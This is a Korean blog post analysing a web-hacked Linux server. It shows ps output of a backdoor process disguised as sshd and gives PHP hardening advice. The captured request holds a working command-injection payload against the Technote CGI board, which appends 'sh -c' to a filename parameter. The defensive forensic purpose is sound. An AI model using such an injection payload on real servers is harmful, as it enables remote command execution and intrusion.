다음과 같은 명령으로 서버에서 실행되는 백 도어 프로세스에 관한 좀더 자세한 정보를 알 수 있다. 테크노트 게시판의 취약점을 이용해서 원격에서 쉘 명령어를 실행 시킨 것을 알 수 있다.

#ps -auxe --cols=3000

/usr/sbin/sshdshd _CMD=cd /dev/shm/n; nohup ./start 217 >>/dev/null &2>&1;pwd SERVER_SIGNATURE=<ADDRESS>Apache/1.3.31 Server attest.co.kr

Port 80</ADDRESS>?

HTTP_USER_AGENT=Getter/0.1

SERVER_PORT=80

HTTP_HOST=www.test.co.kr

DOCUMENT_ROOT=/home/test/public_htmlSCRIPT_FILENAME=/home/test/public_html/technote/main.cgiREQUEST_URI=/technote/main.cgi?down_num=784879&board=any&command=down_load&filename=getfile.txt%3Bsh%20-c%20%22%24HTTP_CMD%22|SCRIPT_NAME=/technote/main.cgi

REMOTE_PORT=55507

PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin

HTTP_TE=deflate;q=0.3

PWD=/dev/shm/n

QUERY_STRING=down_num=784879&board=any&command=down_load&filename=getfile.txt%3Bsh%20-c%20%22%24HTTP_CMD%22|

SERVER_ADDR=192.168.10.1

GATEWAY_INTERFACE=CGI/1.1

SERVER_PROTOCOL=HTTP/1.0

REQUEST_METHOD=GET _=./sshd

테크노트 cgi 관한 원격 명령어 실행 취약점은 국정원에서 발표한 보안 취약점 8종의 한가지로 반드시 최신 버전의 테크노트로 업그레이드 하여야 한다.

또한 php를 사용할 경우는 반드시 php.ini 파일에

allow_url_fopen = Off

register_globals = Off

로 해놓는 것을 명심하자. 지금까지 경험한 바로 php경우 대부분 저 두 옵션으로 인하여 문제가 발생했다.

또한 php 개발자분들께 당부하고 싶은 것은 위의 두 옵션을 끄고 코딩을 해야 한다는 것이다. 그렇지 않을 경우 원한 던 그렇지 않던 잠재적인 보안 위협을 가진 소스를 만들어 내게 된다.

지금까지 웹 해킹 침해 사고를 당한 시스템을 간단하게 분석해 보았다. pstree, netstat, lsof, ps 명령어등은 리눅스에서 트러블슈팅을 하는데 정말 요긴하게 사용하는 명령어이므로 사용법을 자세하게 알아둘 필요가 있다. 일단 해커가 웹 쉘 권한을 얻으면 가능한 모든 디렉터리에 웹 쉘을 업로드 하여 하나의 침입경로가 막히면 다른 경로로 들어오기 때문에 대처하는데 어려움이 따른다.

그렇기 때문에 다시 한번 강조하지만 allow_url_fopen = Off, register_globals = Off 잊지 말도록 하자.

다음에는 웹 원격 취약점을 통해 해커가 서버에 침입했을 경우 서버에서의 대응 방법에 대해 알아 보도록 하겠다.

출처 : http://blog.blueweb.co.kr/91?category=17

'Security' 카테고리의 다른 글

리눅스보안 - 필수 보안 조치법  (0) 2009.04.05
웹해킹 분석과 웹쉘 탐지 및 대응방법 2  (0) 2009.04.05
Tomcat 보안 개요  (0) 2009.03.12
centos5 geoip patch하기  (0) 2008.07.30
MySQL DB 보안(1)  (0) 2007.06.11
, .